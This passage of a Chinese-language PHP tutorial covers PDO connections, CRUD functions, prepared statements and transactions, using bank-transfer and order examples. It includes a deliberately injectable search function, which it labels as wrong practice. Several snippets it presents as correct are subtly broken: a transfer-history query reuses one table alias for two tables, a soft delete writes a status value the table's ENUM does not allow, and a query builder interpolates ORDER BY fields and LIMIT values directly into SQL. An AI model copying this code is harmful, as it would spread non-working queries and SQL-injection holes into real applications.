    const PASSWORD = 'password';
    const CHARSET = 'utf8mb4';
    const OPTIONS = [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES   => false,
    ];

    public static function getDsn() {
        return sprintf(
            "mysql:host=%s;dbname=%s;charset=%s",
            self::HOST,
            self::DBNAME,
            self::CHARSET
        );
    }
}

// 使用示例
$pdo = new PDO(
    DatabaseConfig::getDsn(),
    DatabaseConfig::USERNAME,
    DatabaseConfig::PASSWORD,
    DatabaseConfig::OPTIONS
);
?>

连接安全注意事项

1. 保护敏感信息

<?php
// 不要将数据库凭据硬编码在代码中
// 使用环境变量或配置文件

// 好的做法:
$host = $_ENV['DB_HOST'] ?? 'localhost';
$dbname = $_ENV['DB_NAME'] ?? 'test';
$username = $_ENV['DB_USER'] ?? 'root';
$password = $_ENV['DB_PASS'] ?? '';

// 坏的做法:
$host = 'localhost';
$username = 'root';
$password = 'password123'; // 暴露在代码中
?>

2. 连接超时设置

<?php
$options = [
    PDO::ATTR_TIMEOUT => 10, // 10秒连接超时
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
];

$pdo = new PDO($dsn, $username, $password, $options);
?>

调试连接问题

常见连接错误及解决方法

<?php
try {
    $pdo = new PDO($dsn, $username, $password, $options);
} catch (PDOException $e) {
    $errorCode = $e->getCode();
    $errorMessage = $e->getMessage();

    switch ($errorCode) {
        case 1045:
            echo "错误:用户名或密码错误";
            break;
        case 1049:
            echo "错误:数据库不存在";
            break;
        case 2002:
            echo "错误:无法连接到数据库服务器";
            break;
        case 2003:
            echo "错误:数据库服务器拒绝连接";
            break;
        default:
            echo "数据库连接错误: $errorMessage";
    }
}
?>

通过本节的学习,你应该掌握了PDO的基本概念、连接方法和配置技巧。下一节我们将学习如何使用PDO进行基本的数据库操作。

CRUD操作

什么是CRUD

CRUD是数据库操作的四个基本功能:

  • Create(创建):插入新数据
  • Read(读取):查询数据
  • Update(更新):修改现有数据
  • Delete(删除):删除数据

准备工作

创建示例数据表

<?php
// 创建用户表的SQL语句
$createTableSQL = "
CREATE TABLE IF NOT EXISTS users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL UNIQUE,
    email VARCHAR(100) NOT NULL UNIQUE,
    age INT NOT NULL,
    status ENUM('active', 'inactive') DEFAULT 'active',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)";

// 执行创建表的SQL
$pdo->exec($createTableSQL);
echo "用户表创建成功!";
?>

CREATE(创建数据)

基本插入操作

<?php
// 使用预处理语句(推荐)
function insertUser($pdo, $username, $email, $age, $status = 'active') {
    $sql = "INSERT INTO users (username, email, age, status) VALUES (?, ?, ?, ?)";

    try {
        $stmt = $pdo->prepare($sql);
        $stmt->execute([$username, $email, $age, $status]);

        // 返回插入的ID
        return $pdo->lastInsertId();

    } catch (PDOException $e) {
        echo "插入失败: " . $e->getMessage();
        return false;
    }
}

// 使用示例
$userId = insertUser($pdo, 'zhangsan', 'zhangsan@example.com', 25);
if ($userId) {
    echo "用户插入成功,ID: $userId";
}
?>

使用命名参数

<?php
function insertUserWithNamedParams($pdo, $userData) {
    $sql = "INSERT INTO users (username, email, age, status)
            VALUES (:username, :email, :age, :status)";

    try {
        $stmt = $pdo->prepare($sql);
        $stmt->execute($userData);

        return $pdo->lastInsertId();

    } catch (PDOException $e) {
        echo "插入失败: " . $e->getMessage();
        return false;
    }
}

// 使用示例
$userData = [
    'username' => 'lisi',
    'email' => 'lisi@example.com',
    'age' => 30,
    'status' => 'active'
];

$userId = insertUserWithNamedParams($pdo, $userData);
echo "用户插入成功,ID: $userId";
?>

READ(读取数据)

查询单条记录

<?php
// 根据ID查询用户
function getUserById($pdo, $id) {
    $sql = "SELECT * FROM users WHERE id = ?";

    try {
        $stmt = $pdo->prepare($sql);
        $stmt->execute([$id]);
        return $stmt->fetch();

    } catch (PDOException $e) {
        echo "查询失败: " . $e->getMessage();
        return false;
    }
}

// 使用示例
$user = getUserById($pdo, 1);
if ($user) {
    echo "用户名: " . $user['username'] . "<br>";
    echo "邮箱: " . $user['email'] . "<br>";
}
?>

查询多条记录

<?php
// 查询所有用户
function getAllUsers($pdo) {
    $sql = "SELECT * FROM users ORDER BY created_at DESC";

    try {
        $stmt = $pdo->query($sql);
        return $stmt->fetchAll();

    } catch (PDOException $e) {
        echo "查询失败: " . $e->getMessage();
        return [];
    }
}

// 分页查询
function getUsersWithPagination($pdo, $page = 1, $limit = 10) {
    $offset = ($page - 1) * $limit;

    $sql = "SELECT * FROM users ORDER BY created_at DESC LIMIT ? OFFSET ?";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$limit, $offset]);
    $users = $stmt->fetchAll();

    $countSql = "SELECT COUNT(*) as total FROM users";
    $total = $pdo->query($countSql)->fetch()['total'];

    return [
        'users' => $users,
        'total' => $total,
        'page' => $page,
        'total_pages' => ceil($total / $limit)
    ];
}

// 使用示例
$users = getAllUsers($pdo);
foreach ($users as $user) {
    echo "ID: {$user['id']}, 用户名: {$user['username']}<br>";
}
?>

UPDATE(更新数据)

<?php
// 更新用户信息
function updateUser($pdo, $id, $data) {
    $setParts = [];
    $params = [];

    foreach (['username', 'email', 'age', 'status'] as $field) {
        if (isset($data[$field])) {
            $setParts[] = "$field = ?";
            $params[] = $data[$field];
        }
    }

    if (empty($setParts)) {
        return false;
    }

    $sql = "UPDATE users SET " . implode(', ', $setParts) . " WHERE id = ?";
    $params[] = $id;

    try {
        $stmt = $pdo->prepare($sql);
        $stmt->execute($params);
        return $stmt->rowCount();

    } catch (PDOException $e) {
        echo "更新失败: " . $e->getMessage();
        return false;
    }
}

// 使用示例
$updateData = [
    'email' => 'newemail@example.com',
    'age' => 26
];

$affectedRows = updateUser($pdo, 1, $updateData);
echo "更新了 $affectedRows 行记录";
?>

DELETE(删除数据)

<?php
// 根据ID删除用户
function deleteUser($pdo, $id) {
    $sql = "DELETE FROM users WHERE id = ?";

    try {
        $stmt = $pdo->prepare($sql);
        $stmt->execute([$id]);
        return $stmt->rowCount();

    } catch (PDOException $e) {
        echo "删除失败: " . $e->getMessage();
        return false;
    }
}

// 软删除(推荐)
function softDeleteUser($pdo, $id) {
    $sql = "UPDATE users SET status = 'deleted' WHERE id = ?";

    try {
        $stmt = $pdo->prepare($sql);
        $stmt->execute([$id]);
        return $stmt->rowCount();

    } catch (PDOException $e) {
        echo "软删除失败: " . $e->getMessage();
        return false;
    }
}

// 使用示例
$deletedRows = deleteUser($pdo, 1);
echo "删除了 $deletedRows 行记录";
?>

综合示例

用户管理类

<?php
class UserManager {
    private $pdo;

    public function __construct($pdo) {
        $this->pdo = $pdo;
    }

    // 创建用户
    public function create($userData) {
        $sql = "INSERT INTO users (username, email, age, status)
                VALUES (:username, :email, :age, :status)";

        try {
            $stmt = $this->pdo->prepare($sql);
            $stmt->execute($userData);
            return $this->pdo->lastInsertId();

        } catch (PDOException $e) {
            throw new Exception("创建用户失败: " . $e->getMessage());
        }
    }

    // 读取用户
    public function read($id) {
        $sql = "SELECT * FROM users WHERE id = :id";

        try {
            $stmt = $this->pdo->prepare($sql);
            $stmt->execute(['id' => $id]);
            return $stmt->fetch();

        } catch (PDOException $e) {
            throw new Exception("读取用户失败: " . $e->getMessage());
        }
    }

    // 更新用户
    public function update($id, $userData) {
        $setParts = [];
        foreach ($userData as $field => $value) {
            $setParts[] = "$field = :$field";
        }

        $sql = "UPDATE users SET " . implode(', ', $setParts) . " WHERE id = :id";
        $userData['id'] = $id;

        try {
            $stmt = $this->pdo->prepare($sql);
            $stmt->execute($userData);
            return $stmt->rowCount();

        } catch (PDOException $e) {
            throw new Exception("更新用户失败: " . $e->getMessage());
        }
    }

    // 删除用户
    public function delete($id) {
        $sql = "DELETE FROM users WHERE id = :id";

        try {
            $stmt = $this->pdo->prepare($sql);
            $stmt->execute(['id' => $id]);
            return $stmt->rowCount();

        } catch (PDOException $e) {
            throw new Exception("删除用户失败: " . $e->getMessage());
        }
    }
}

// 使用示例
$userManager = new UserManager($pdo);

// 创建用户
$userId = $userManager->create([
    'username' => 'testuser',
    'email' => 'test@example.com',
    'age' => 25,
    'status' => 'active'
]);

// 读取用户
$user = $userManager->read($userId);

// 更新用户
$userManager->update($userId, ['age' => 26]);
?>

通过本节的学习,你应该掌握了使用PDO进行CRUD操作的基本技巧。下一节我们将深入学习预处理语句的高级用法。

预处理语句

什么是预处理语句

预处理语句(Prepared Statements)是数据库操作的一种重要技术,它将SQL语句的编译和执行分开进行。预处理语句先发送SQL模板到数据库服务器进行编译,然后再发送具体的参数值进行执行。

预处理语句的优势

  1. 防止SQL注入:参数值不会被当作SQL代码执行
  2. 提高性能:相同模板的语句只需编译一次,可多次执行
  3. 数据类型安全:自动处理数据类型转换
  4. 可读性好:SQL语句更清晰,参数明确

预处理语句的工作原理

第1步:准备SQL模板
   ↓
第2步:数据库编译SQL模板
   ↓
第3步:绑定参数值
   ↓
第4步:执行SQL语句

两种参数绑定方式

1. 位置参数(问号占位符)

<?php
// SQL模板中使用?作为占位符
$sql = "SELECT * FROM users WHERE username = ? AND age > ?";

try {
    // 准备语句
    $stmt = $pdo->prepare($sql);

    // 执行时按顺序传递参数
    $stmt->execute(['zhangsan', 18]);

    // 获取结果
    $user = $stmt->fetch();

} catch (PDOException $e) {
    echo "查询失败: " . $e->getMessage();
}
?>

2. 命名参数(冒号占位符)

<?php
// SQL模板中使用:开头的命名参数
$sql = "SELECT * FROM users
        WHERE username = :username AND age > :min_age
        ORDER BY created_at DESC
        LIMIT :limit";

try {
    // 准备语句
    $stmt = $pdo->prepare($sql);

    // 执行时使用关联数组传递参数
    $params = [
        'username' => 'zhangsan',
        'min_age' => 18,
        'limit' => 10
    ];
    $stmt->execute($params);

    // 获取结果
    $users = $stmt->fetchAll();

} catch (PDOException $e) {
    echo "查询失败: " . $e->getMessage();
}
?>

参数绑定方法详解

1. execute()方法绑定(常用)

<?php
// 方法一:通过execute()的参数直接传递
$sql = "INSERT INTO users (username, email, age) VALUES (?, ?, ?)";
$stmt = $pdo->prepare($sql);
$stmt->execute(['user1', 'user1@example.com', 25]);

// 方法二:命名参数使用关联数组
$sql = "INSERT INTO users (username, email, age)
        VALUES (:username, :email, :age)";
$stmt = $pdo->prepare($sql);
$stmt->execute([
    'username' => 'user2',
    'email' => 'user2@example.com',
    'age' => 30
]);
?>

2. bindValue()方法绑定

<?php
$sql = "INSERT INTO users (username, email, age) VALUES (?, ?, ?)";
$stmt = $pdo->prepare($sql);

// 逐个绑定值(1-based索引)
$stmt->bindValue(1, 'user3');
$stmt->bindValue(2, 'user3@example.com');
$stmt->bindValue(3, 28);

// 命名参数
$sql = "INSERT INTO users (username, email, age)
        VALUES (:username, :email, :age)";
$stmt = $pdo->prepare($sql);

$stmt->bindValue(':username', 'user4');
$stmt->bindValue(':email', 'user4@example.com');
$stmt->bindValue(':age', 32);

$stmt->execute();
?>

3. bindParam()方法绑定

<?php
$sql = "INSERT INTO users (username, email, age) VALUES (?, ?, ?)";
$stmt = $pdo->prepare($sql);

// bindParam绑定变量引用
$username = 'user5';
$email = 'user5@example.com';
$age = 22;

$stmt->bindParam(1, $username);
$stmt->bindParam(2, $email);
$stmt->bindParam(3, $age);

// 可以修改变量值,多次执行
$username = 'user6';
$email = 'user6@example.com';
$age = 27;
$stmt->execute();  // 插入user6

$username = 'user7';
$email = 'user7@example.com';
$age = 35;
$stmt->execute();  // 插入user7

// bindParam对命名参数
$sql = "SELECT * FROM users WHERE age > :min_age";
$stmt = $pdo->prepare($sql);

$minAge = 18;
$stmt->bindParam(':min_age', $minAge);

$minAge = 25;
$stmt->execute();  // 查询年龄>25的用户

$minAge = 30;
$stmt->execute();  // 查询年龄>30的用户
?>

数据类型处理

显式指定数据类型

<?php
$sql = "INSERT INTO products (name, price, quantity, created_at)
        VALUES (:name, :price, :quantity, :created_at)";
$stmt = $pdo->prepare($sql);

// 绑定参数并指定数据类型
$stmt->bindValue(':name', 'iPhone 15', PDO::PARAM_STR);
$stmt->bindValue(':price', 999.99, PDO::PARAM_STR);  // DECIMAL作为字符串
$stmt->bindValue(':quantity', 100, PDO::PARAM_INT);
$stmt->bindValue(':created_at', date('Y-m-d H:i:s'), PDO::PARAM_STR);

$stmt->execute();

// PDO参数常量
/*
PDO::PARAM_BOOL      布尔类型
PDO::PARAM_NULL      NULL值
PDO::PARAM_INT       整数
PDO::PARAM_STR       字符串
PDO::PARAM_LOB       大对象(LOB)
*/
?>

NULL值处理

<?php
// 更新用户信息,可能包含NULL值
function updateUser($pdo, $userId, $data) {
    $sql = "UPDATE users SET
            email = :email,
            phone = :phone,
            updated_at = NOW()
            WHERE id = :id";

    $stmt = $pdo->prepare($sql);

    // 绑定参数,处理NULL值
    if ($data['email'] === null) {
        $stmt->bindValue(':email', null, PDO::PARAM_NULL);
    } else {
        $stmt->bindValue(':email', $data['email'], PDO::PARAM_STR);
    }

    if ($data['phone'] === null) {
        $stmt->bindValue(':phone', null, PDO::PARAM_NULL);
    } else {
        $stmt->bindValue(':phone', $data['phone'], PDO::PARAM_STR);
    }

    $stmt->bindValue(':id', $userId, PDO::PARAM_INT);

    return $stmt->execute();
}

// 使用示例
updateUser($pdo, 1, [
    'email' => 'new@example.com',
    'phone' => null  // 将phone设为NULL
]);
?>

IN语句的特殊处理

使用问号占位符

<?php
// 查询指定ID的用户
function getUsersByIds($pdo, $ids) {
    // 创建占位符字符串
    $placeholders = str_repeat('?,', count($ids) - 1) . '?';

    $sql = "SELECT * FROM users WHERE id IN ($placeholders)";
    $stmt = $pdo->prepare($sql);
    $stmt->execute($ids);

    return $stmt->fetchAll();
}

// 使用示例
$userIds = [1, 3, 5, 7, 9];
$users = getUsersByIds($pdo, $userIds);
?>

使用命名参数

<?php
function getUsersByStatus($pdo, $statuses) {
    // 为每个状态创建命名参数
    $params = [];
    $placeholders = [];

    foreach ($statuses as $i => $status) {
        $param = ":status_$i";
        $params[$param] = $status;
        $placeholders[] = $param;
    }

    $sql = "SELECT * FROM users WHERE status IN (" .
           implode(',', $placeholders) . ")";

    $stmt = $pdo->prepare($sql);
    $stmt->execute($params);

    return $stmt->fetchAll();
}

// 使用示例
$statuses = ['active', 'pending'];
$users = getUsersByStatus($pdo, $statuses);
?>

复杂查询示例

动态条件查询

<?php
class UserQuery {
    private $pdo;
    private $conditions = [];
    private $params = [];

    public function __construct($pdo) {
        $this->pdo = $pdo;
    }

    public function whereUsername($username) {
        $this->conditions[] = "username = :username";
        $this->params[':username'] = $username;
        return $this;
    }

    public function whereAgeGt($age) {
        $this->conditions[] = "age > :min_age";
        $this->params[':min_age'] = $age;
        return $this;
    }

    public function whereStatus($status) {
        $this->conditions[] = "status = :status";
        $this->params[':status'] = $status;
        return $this;
    }

    public function orderBy($field, $direction = 'ASC') {
        $this->orderBy = "ORDER BY $field $direction";
        return $this;
    }

    public function limit($limit, $offset = 0) {
        $this->limit = "LIMIT $limit OFFSET $offset";
        return $this;
    }

    public function execute() {
        $sql = "SELECT * FROM users";

        if (!empty($this->conditions)) {
            $sql .= " WHERE " . implode(' AND ', $this->conditions);
        }

        if (isset($this->orderBy)) {
            $sql .= " " . $this->orderBy;
        }

        if (isset($this->limit)) {
            $sql .= " " . $this->limit;
        }

        $stmt = $this->pdo->prepare($sql);
        $stmt->execute($this->params);

        return $stmt->fetchAll();
    }
}

// 使用示例
$query = new UserQuery($pdo);
$users = $query->whereUsername('zhangsan')
               ->whereAgeGt(18)
               ->whereStatus('active')
               ->orderBy('created_at', 'DESC')
               ->limit(10)
               ->execute();
?>

批量操作优化

批量插入

<?php
// 方法一:使用事务批量插入
function batchInsertUsers($pdo, $users) {
    $sql = "INSERT INTO users (username, email, age, status)
            VALUES (?, ?, ?, ?)";
    $stmt = $pdo->prepare($sql);

    $pdo->beginTransaction();

    try {
        foreach ($users as $user) {
            $stmt->execute([
                $user['username'],
                $user['email'],
                $user['age'],
                $user['status']
            ]);
        }

        $pdo->commit();
        return true;

    } catch (Exception $e) {
        $pdo->rollback();
        return false;
    }
}

// 方法二:使用批量INSERT语法
function batchInsertUsersOptimized($pdo, $users) {
    $values = [];
    $params = [];

    foreach ($users as $i => $user) {
        $values[] = "(?, ?, ?, ?)";
        array_push($params,
            $user['username'],
            $user['email'],
            $user['age'],
            $user['status']
        );
    }

    $sql = "INSERT INTO users (username, email, age, status)
            VALUES " . implode(',', $values);

    $stmt = $pdo->prepare($sql);
    return $stmt->execute($params);
}

// 使用示例
$newUsers = [
    ['username' => 'user1', 'email' => 'user1@test.com', 'age' => 25, 'status' => 'active'],
    ['username' => 'user2', 'email' => 'user2@test.com', 'age' => 30, 'status' => 'active'],
    ['username' => 'user3', 'email' => 'user3@test.com', 'age' => 28, 'status' => 'pending']
];

batchInsertUsers($pdo, $newUsers);
?>

调试预处理语句

获取调试信息

<?php
$sql = "SELECT * FROM users WHERE username = :username AND age > :min_age";
$stmt = $pdo->prepare($sql);

// 获取原始SQL
echo "SQL模板: " . $stmt->queryString . "\n";

// 执行查询
$stmt->execute(['username' => 'test', 'min_age' => 18]);

// 获取行数
echo "影响行数: " . $stmt->rowCount() . "\n";

// 获取列数
echo "列数: " . $stmt->columnCount() . "\n";

// 模拟SQL输出(用于调试)
function debugQuery($sql, $params) {
    foreach ($params as $key => $value) {
        if (is_string($value)) {
            $value = "'" . addslashes($value) . "'";
        }
        $sql = str_replace($key, $value, $sql);
    }
    return $sql;
}

echo "执行的SQL: " . debugQuery($sql, ['username' => 'test', 'min_age' => 18]);
?>

安全最佳实践

1. 始终使用预处理语句

<?php
// ❌ 错误:直接拼接SQL(不安全)
function unsafeSearch($pdo, $keyword) {
    $sql = "SELECT * FROM products WHERE name LIKE '%$keyword%'";
    return $pdo->query($sql)->fetchAll();
}

// ✅ 正确:使用预处理语句(安全)
function safeSearch($pdo, $keyword) {
    $sql = "SELECT * FROM products WHERE name LIKE :keyword";
    $stmt = $pdo->prepare($sql);
    $stmt->execute(['keyword' => "%$keyword%"]);
    return $stmt->fetchAll();
}
?>

2. 验证输入数据

<?php
function insertUser($pdo, $userData) {
    // 验证必填字段
    $required = ['username', 'email', 'age'];
    foreach ($required as $field) {
        if (!isset($userData[$field]) || empty($userData[$field])) {
            throw new Exception("字段 $field 是必填的");
        }
    }

    // 验证数据类型
    if (!filter_var($userData['email'], FILTER_VALIDATE_EMAIL)) {
        throw new Exception("邮箱格式不正确");
    }

    if (!is_int($userData['age']) || $userData['age'] < 0) {
        throw new Exception("年龄必须是正整数");
    }

    $sql = "INSERT INTO users (username, email, age)
            VALUES (:username, :email, :age)";
    $stmt = $pdo->prepare($sql);

    return $stmt->execute([
        'username' => $userData['username'],
        'email' => $userData['email'],
        'age' => $userData['age']
    ]);
}
?>

性能优化建议

1. 重用预处理语句

<?php
// 预编译一次,多次执行
function updateUserStatus($pdo, $userIds, $newStatus) {
    $sql = "UPDATE users SET status = :status WHERE id = :id";
    $stmt = $pdo->prepare($sql);

    $stmt->bindValue(':status', $newStatus, PDO::PARAM_STR);

    foreach ($userIds as $userId) {
        $stmt->bindValue(':id', $userId, PDO::PARAM_INT);
        $stmt->execute();
    }

    return $stmt->rowCount();
}
?>

2. 使用合适的数据类型

<?php
// ✅ 使用正确的数据类型
$stmt->bindValue(':count', $count, PDO::PARAM_INT);
$stmt->bindValue(':price', $price, PDO::PARAM_STR);  // DECIMAL
$stmt->bindValue(':active', $active, PDO::PARAM_BOOL);

// ❌ 避免类型转换错误
$stmt->bindValue(':count', (string)$count);  // 不推荐
?>

通过本节的学习,你应该掌握了预处理语句的各种用法和安全编程技巧。下一节我们将学习事务处理,进一步掌握数据库的高级操作。

事务处理

什么是事务

事务(Transaction)是一组SQL操作的集合,这些操作要么全部成功执行,要么全部失败回滚。事务是数据库管理系统保证数据一致性和完整性的重要机制。

事务的ACID特性

  1. 原子性(Atomicity):事务中的所有操作是一个不可分割的整体
  2. 一致性(Consistency):事务执行前后,数据库都处于一致状态
  3. 隔离性(Isolation):多个事务并发执行时互不干扰
  4. 持久性(Durability):事务提交后,对数据的修改是永久性的

事务的基本语法

<?php
try {
    // 开始事务
    $pdo->beginTransaction();

    // 执行一系列SQL操作
    $pdo->exec("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
    $pdo->exec("UPDATE accounts SET balance = balance + 100 WHERE id = 2");

    // 提交事务
    $pdo->commit();
    echo "转账成功!";

} catch (Exception $e) {
    // 发生错误时回滚事务
    $pdo->rollback();
    echo "转账失败:" . $e->getMessage();
}
?>

事务示例:银行转账系统

创建数据表

<?php
// 创建账户表
$createTableSQL = "
CREATE TABLE IF NOT EXISTS accounts (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(50) NOT NULL,
    balance DECIMAL(10, 2) NOT NULL DEFAULT 0.00,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
)";

$pdo->exec($createTableSQL);

// 创建转账记录表
$createTransferTableSQL = "
CREATE TABLE IF NOT EXISTS transfers (
    id INT AUTO_INCREMENT PRIMARY KEY,
    from_account_id INT NOT NULL,
    to_account_id INT NOT NULL,
    amount DECIMAL(10, 2) NOT NULL,
    description VARCHAR(255),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (from_account_id) REFERENCES accounts(id),
    FOREIGN KEY (to_account_id) REFERENCES accounts(id)
)";

$pdo->exec($createTransferTableSQL);

// 插入测试数据
$pdo->exec("INSERT INTO accounts (name, balance) VALUES
    ('张三', 1000.00),
    ('李四', 500.00),
    ('王五', 2000.00)");
?>

实现转账功能

<?php
class BankService {
    private $pdo;

    public function __construct($pdo) {
        $this->pdo = $pdo;
    }

    /**
     * 转账操作
     * @param int $fromAccountId 转出账户ID
     * @param int $toAccountId 转入账户ID
     * @param float $amount 转账金额
     * @param string $description 转账说明
     * @return bool 是否成功
     */
    public function transfer($fromAccountId, $toAccountId, $amount, $description = '') {
        // 验证参数
        if ($amount <= 0) {
            throw new Exception("转账金额必须大于0");
        }

        if ($fromAccountId == $toAccountId) {
            throw new Exception("不能向自己转账");
        }

        try {
            // 开始事务
            $this->pdo->beginTransaction();

            // 1. 检查转出账户余额
            $checkBalance = $this->pdo->prepare(
                "SELECT balance FROM accounts WHERE id = ? FOR UPDATE"
            );
            $checkBalance->execute([$fromAccountId]);
            $fromAccount = $checkBalance->fetch();

            if (!$fromAccount) {
                throw new Exception("转出账户不存在");
            }

            if ($fromAccount['balance'] < $amount) {
                throw new Exception("余额不足");
            }

            // 2. 检查转入账户
            $checkToAccount = $this->pdo->prepare(
                "SELECT id FROM accounts WHERE id = ?"
            );
            $checkToAccount->execute([$toAccountId]);
            if (!$checkToAccount->fetch()) {
                throw new Exception("转入账户不存在");
            }

            // 3. 从转出账户扣款
            $debitSQL = $this->pdo->prepare(
                "UPDATE accounts SET balance = balance - ? WHERE id = ?"
            );
            $debitSQL->execute([$amount, $fromAccountId]);

            // 4. 向转入账户存款
            $creditSQL = $this->pdo->prepare(
                "UPDATE accounts SET balance = balance + ? WHERE id = ?"
            );
            $creditSQL->execute([$amount, $toAccountId]);

            // 5. 记录转账日志
            $logSQL = $this->pdo->prepare(
                "INSERT INTO transfers (from_account_id, to_account_id, amount, description)
                 VALUES (?, ?, ?, ?)"
            );
            $logSQL->execute([$fromAccountId, $toAccountId, $amount, $description]);

            // 提交事务
            $this->pdo->commit();

            return true;

        } catch (Exception $e) {
            // 回滚事务
            $this->pdo->rollback();
            throw $e;
        }
    }

    /**
     * 查询账户余额
     */
    public function getBalance($accountId) {
        $sql = "SELECT id, name, balance FROM accounts WHERE id = ?";
        $stmt = $this->pdo->prepare($sql);
        $stmt->execute([$accountId]);
        return $stmt->fetch();
    }

    /**
     * 查询转账记录
     */
    public function getTransfers($accountId, $limit = 10) {
        $sql = "
            SELECT t.*,
                   f.name as from_account_name,
                   t.name as to_account_name
            FROM transfers t
            JOIN accounts f ON t.from_account_id = f.id
            JOIN accounts t ON t.to_account_id = t.id
            WHERE t.from_account_id = ? OR t.to_account_id = ?
            ORDER BY t.created_at DESC
            LIMIT ?
        ";
        $stmt = $this->pdo->prepare($sql);
        $stmt->execute([$accountId, $accountId, $limit]);
        return $stmt->fetchAll();
    }
}

// 使用示例
$bank = new BankService($pdo);

// 转账
try {
    $success = $bank->transfer(1, 2, 200.00, "还款");
    if ($success) {
        echo "转账成功!\n";
    }
} catch (Exception $e) {
    echo "转账失败:" . $e->getMessage() . "\n";
}

// 查询余额
$account1 = $bank->getBalance(1);
$account2 = $bank->getBalance(2);

echo "账户1余额:" . $account1['balance'] . "\n";
echo "账户2余额:" . $account2['balance'] . "\n";
?>

复杂事务示例:订单处理系统

创建数据表

<?php
// 商品表
$pdo->exec("
    CREATE TABLE IF NOT EXISTS products (
        id INT AUTO_INCREMENT PRIMARY KEY,
        name VARCHAR(100) NOT NULL,
        price DECIMAL(10, 2) NOT NULL,
        stock INT NOT NULL DEFAULT 0,
        created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
    )
");

// 订单表
$pdo->exec("
    CREATE TABLE IF NOT EXISTS orders (
        id INT AUTO_INCREMENT PRIMARY KEY,
        user_id INT NOT NULL,
        total_amount DECIMAL(10, 2) NOT NULL,
        status ENUM('pending', 'paid', 'shipped', 'delivered', 'cancelled') DEFAULT 'pending',
        created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
        updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
    )
");

// 订单详情表
$pdo->exec("
    CREATE TABLE IF NOT EXISTS order_items (
        id INT AUTO_INCREMENT PRIMARY KEY,
        order_id INT NOT NULL,
        product_id INT NOT NULL,
        quantity INT NOT NULL,
        price DECIMAL(10, 2) NOT NULL,
        FOREIGN KEY (order_id) REFERENCES orders(id),
        FOREIGN KEY (product_id) REFERENCES products(id)
    )
");

// 插入测试商品
$pdo->exec("INSERT INTO products (name, price, stock) VALUES
    ('iPhone 15', 6999.00, 100),
    ('MacBook Pro', 12999.00, 50),
    ('AirPods Pro', 1999.00, 200)");
?>

订单处理类

<?php
class OrderService {
    private $pdo;

    public function __construct($pdo) {
        $this->pdo = $pdo;
    }

    /**
     * 创建订单
     */
    public function createOrder($userId, $items) {
        try {
            $this->pdo->beginTransaction();

            // 1. 验证库存并计算总价
            $totalAmount = 0;
            $validatedItems = [];

            foreach ($items as $item) {
                // 检查商品是否存在
                $productSQL = $this->pdo->prepare(
                    "SELECT id, name, price, stock FROM products WHERE id = ? FOR UPDATE"
                );
                $productSQL->execute([$item['product_id']]);
                $product = $productSQL->fetch();

                if (!$product) {
                    throw new Exception("商品ID {$item['product_id']} 不存在");
                }

                if ($product['stock'] < $item['quantity']) {
                    throw new Exception("商品 {$product['name']} 库存不足");
                }

                // 计算小计
                $subtotal = $product['price'] * $item['quantity'];
                $totalAmount += $subtotal;

                $validatedItems[] = [
                    'product' => $product,
                    'quantity' => $item['quantity'],
                    'subtotal' => $subtotal
                ];
            }

            // 2. 创建订单
            $orderSQL = $this->pdo->prepare(
                "INSERT INTO orders (user_id, total_amount, status) VALUES (?, ?, 'pending')"
            );
            $orderSQL->execute([$userId, $totalAmount]);
            $orderId = $this->pdo->lastInsertId();

            // 3. 创建订单详情并扣减库存
            $itemSQL = $this->pdo->prepare(
                "INSERT INTO order_items (order_id, product_id, quantity, price) VALUES (?, ?, ?, ?)"
            );

            $stockSQL = $this->pdo->prepare(
                "UPDATE products SET stock = stock - ? WHERE id = ?"
            );

            foreach ($validatedItems as $item) {
                // 插入订单详情
                $itemSQL->execute([
                    $orderId,
                    $item['product']['id'],
                    $item['quantity'],
                    $item['product']['price']
                ]);

                // 扣减库存
                $stockSQL->execute([
                    $item['quantity'],
                    $item['product']['id']
                ]);
            }

            $this->pdo->commit();

            return [
                'order_id' => $orderId,
                'total_amount' => $totalAmount,
                'items' => $validatedItems
            ];

        } catch (Exception $e) {
            $this->pdo->rollback();
            throw $e;
        }
    }

    /**
     * 取消订单(恢复库存)
     */
    public function cancelOrder($orderId) {
        try {
            $this->pdo->beginTransaction();

            // 1. 检查订单状态
            $orderSQL = $this->pdo->prepare(
                "SELECT status FROM orders WHERE id = ? FOR UPDATE"
            );
            $orderSQL->execute([$orderId]);
            $order = $orderSQL->fetch();

            if (!$order) {
                throw new Exception("订单不存在");
            }

            if ($order['status'] !== 'pending') {
                throw new Exception("只能取消待处理的订单");
            }

            // 2. 获取订单商品并恢复库存
            $itemsSQL = $this->pdo->prepare(
                "SELECT product_id, quantity FROM order_items WHERE order_id = ?"
            );
            $itemsSQL->execute([$orderId]);
            $items = $itemsSQL->fetchAll();

            $restoreSQL = $this->pdo->prepare(
                "UPDATE products SET stock = stock + ? WHERE id = ?"
            );

            foreach ($items as $item) {
                $restoreSQL->execute([$item['quantity'], $item['product_id']]);
            }

            // 3. 更新订单状态
            $updateSQL = $this->pdo->prepare(
                "UPDATE orders SET status = 'cancelled' WHERE id = ?"
            );
            $updateSQL->execute([$orderId]);

            $this->pdo->commit();

            return true;

        } catch (Exception $e) {
            $this->pdo->rollback();
            throw $e;
        }
    }
}

// 使用示例
$orderService = new OrderService($pdo);

try {
    // 创建订单
    $order = $orderService->createOrder(1, [
        ['product_id' => 1, 'quantity' => 2],  // 2个iPhone 15
        ['product_id' => 3, 'quantity' => 1]   // 1个AirPods Pro
    ]);

    echo "订单创建成功!订单ID: {$order['order_id']}\n";
    echo "订单总金额: ¥{$order['total_amount']}\n";

